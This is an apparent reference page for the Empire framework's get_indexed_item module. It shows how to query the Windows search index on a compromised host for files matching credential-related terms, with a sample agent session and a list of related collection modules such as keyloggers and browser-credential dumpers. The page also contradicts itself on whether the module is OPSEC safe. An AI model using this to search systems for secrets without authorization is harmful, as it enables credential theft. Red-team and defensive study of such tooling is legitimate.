Get-IndexedItem - Empire Module
This page contains detailed information about how to use the powershell/collection/get_indexed_item Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Get-IndexedItem
Module: powershell/collection/get_indexed_item
Source code [1]: empire/server/modules/powershell/collection/get_indexed_item.yaml
Source code [2]: empire/server/data/module_source/collection/Get-IndexedItem.ps1
MITRE ATT&CK:
T1083
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No
The get_indexed_item module gets files which have been indexed by Windows desktop search.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the get_indexed_item module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the get_indexed_item module:
Agent
Agent to run module on.
Terms
Terms to query the search indexer for.
Default value: password,pass,sensitive,admin,login,secret,creds,credentials.
Additional Module Options
This is a list of additional options that are supported by the get_indexed_item module:
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.
Get_indexed_item Example Usage
Here's an example of how to use the get_indexed_item module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/get_indexed_item
Author @James O'Neill
Background False
Comments https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-
PowerShell-5bca2dae
Description Gets files which have been indexed by Windows desktop search.
Language powershell
Name powershell/collection/get_indexed_item
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1083
,Record Options--,-------------------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|-------------------------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|----------------|-------------------------------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
|----------------|-------------------------------------|----------|-------------------------------------|
| Terms | password,pass,sensitive,admin,login | True | Terms to query the search indexer |
| | ,secret,creds,credentials | | for. |
'----------------'-------------------------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/collection/get_indexed_item) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/get_indexed_item) > set Terms password,pass,sensitive,admin,login,secret,creds,credentials
[*] Set Terms to password,pass,sensitive,admin,login,secret,creds,credentials
(Empire: usemodule/powershell/collection/get_indexed_item) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/get_indexed_item.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/Get-IndexedItem.ps1
- https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-PowerShell-5bca2dae
- http://attack.mitre.org/techniques/T1083
- http://msdn.microsoft.com/en-us/library/dd626247(v=office.11).aspx
- http://msdn.microsoft.com/en-us/library/dd561977(v=VS.85).aspx
See Also
Check also the following modules related to this module:
- powershell/collection/get_sql_query
- powershell/collection/get_sql_column_sample_data
- powershell/collection/SharpLoginPrompt
- powershell/collection/file_finder
- powershell/collection/ninjacopy
- powershell/collection/clipboard_monitor
- powershell/collection/FoxDump
- powershell/collection/prompt
- powershell/collection/minidump
- powershell/collection/netripper
- powershell/collection/SauronEye
- powershell/collection/toasted
- powershell/collection/screenshot
- powershell/collection/find_interesting_file
- powershell/collection/inveigh
- powershell/collection/browser_data
- powershell/collection/WireTap
- powershell/collection/WebcamRecorder
- powershell/collection/ChromeDump
- powershell/collection/USBKeylogger
- powershell/collection/keylogger
- powershell/collection/get-winupdates
- powershell/collection/packet_capture
- powershell/collection/SharpChromium
- powershell/collection/vaults/remove_keepass_config_trigger
- powershell/collection/vaults/add_keepass_config_trigger
- powershell/collection/vaults/keethief
- powershell/collection/vaults/find_keepass_config
- powershell/collection/vaults/get_keepass_config_trigger
- powershell/management/mailraider/get_emailitems
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
